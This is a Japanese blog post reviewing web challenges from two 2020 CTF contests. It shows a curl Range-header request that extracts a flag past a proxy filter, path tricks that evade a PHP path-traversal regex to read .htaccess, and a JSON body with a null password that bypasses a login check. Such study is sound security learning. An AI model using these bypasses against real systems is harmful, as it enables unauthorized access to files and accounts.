セキュリティ系の勉強・その他開発メモとか雑談. Twitter, ブログカテゴリ一覧
本ブログはあくまでセキュリティに関する情報共有の一環として作成したものであり,公開されているシステム等に許可なく実行するなど、違法な行為を助長するものではありません.

asis ctfとHarekaze mini ctf2020 の復習(メモ)

//

asis ctf 2020

Less secure secrets

プロキシの設定で<secret>(.*)</secret>に囲まれたフラグ部だけが置換されて返される問題。

Substitute s|<secret>(.*)</secret>|Protected|i

Rangeヘッダーを使用して、レスポンスの一部のみを変えさせることで、上の置換対象から外してフラグを取得する。

https://developer.mozilla.org/ja/docs/Web/HTTP/Range_requests

# レスポンスの750byteから800byte目の部分だけをレスポンスに含める。
% curl -H 'Range: bytes=750-810' https://securesecrets.asisctf.com/secret.html
nt the first secret? I think it's "ASIS{L3T5_S74rT_7h3_fUn}".%

Harekaze mini ctf 2020

JWT is secure

writeupは他の方が書いているのでお任せして、正規表現マッチをすり抜ける箇所に苦労したので、そこだけメモします。

// 一部改変
private function getSecretKey($kid) {
  $dir = './keys' . '/' . $kid[0] . '/' . $kid[1];
  $path = $dir . '/' . $kid;

  // no path traversal, no stream wrapper
  if (preg_match('/\.\.|\/\/|:/', $kid)) {
    throw new Exception('Hacking attempt detected');
  }
  if (!file_exists($path) || !is_file($path)) {
    throw new Exception('Secret key not found');
  }

  return file_get_contents($path);
}

カレントディレクトリ配下に./keys/.htaccessがあるのでそれを$pathに指定したい状況。
シェル上では次の方法でcatできた。

$cat ./keys/\/./\./.htaccess
$cat ./keys/'/'/''.htaccess
$cat ./keys/"/"/"".htaccess
$cat ./keys///.//.htaccess 

それに対して、実際にローカルで実行して正常にファイルを取得できた(file_exists($path)とis_file($path)でファイルを取得できた)のは次のものだけ。

file_exists('./keys///.//.htaccess ');

(シェル上から直接phpコード(file_exists(),is_file())を実行すると動作するけど、アプリを動作させて実行すると上の関数でファイルが見つからなかったりした。)

結果的にkidに指定したのは/.htaccess

Avatar Viewer

Harekaze mini CTF 2020 writeup for web challs この方のwriteupを参考にしています。

この問題の肝は認証部分。adminとしてログインできればokで、そのためにパストラバーサルで認証情報を読みたい。

# 配布された認証情報 users['guest']のようにアクセスできる
{
  "guest": "guest",
  "admin-(censored)": "<censored>"
}

けどその前に下のようなパスワードチェックがあるのですり抜けたい。

app.post('/login', async (request, reply) => {
// snip------------------

  if (!('username' in request.body && 'password' in request.body)) {
    request.flash('error', 'username or password is not provided');
    return reply.redirect('/login');
  }

  const { username, password } = request.body;
// snip---------------------------------

  if (users[username] != password) {
    request.flash('error', 'username or password is incorrect');
    return reply.redirect('/login');
  }

  request.session.set('username', username);
  reply.redirect('/profile');
});


users[username] != passwordここが通ればあとはよしなにできる。結果として、ログインリクエストで下のようなJSONを投げると

{
    "username": "hoge",
    "password": null
}


undefined != undefinedの比較になるので、認証をすり抜けられるとのことでした。

チェック

users = {'guest':'guest','admin':'admin'}
console.log(users['hoge'])
console.log(null)
if (users['hoge']==null) console.log('matched')

result

undefined
null
matched

参考